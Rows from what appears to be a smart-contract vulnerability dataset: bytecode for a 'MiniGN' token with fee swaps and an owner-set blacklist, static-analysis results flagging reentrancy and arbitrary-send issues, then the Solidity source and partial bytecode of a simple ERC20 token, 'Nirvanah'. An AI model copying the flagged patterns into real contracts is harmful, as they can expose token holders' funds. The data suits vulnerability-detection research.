61461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d696e69474e0000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a295be96e640669720000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6001600a819055506009600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576001600a819055506009600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201fd40ed9f0681ad229e7874703d459504326126da4c7acd8a69bf1bd05f851ef64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,121 |
0x71d5d57581a4cc9c24db9d8162823609342b27c0
|
/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Nirvanah' contract
//
// Symbol : NVT
// Name : Nirvanah
// Total supply: 1 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract NVT is BurnableToken {
string public constant name = "Nirvanah";
string public constant symbol = "NVT";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001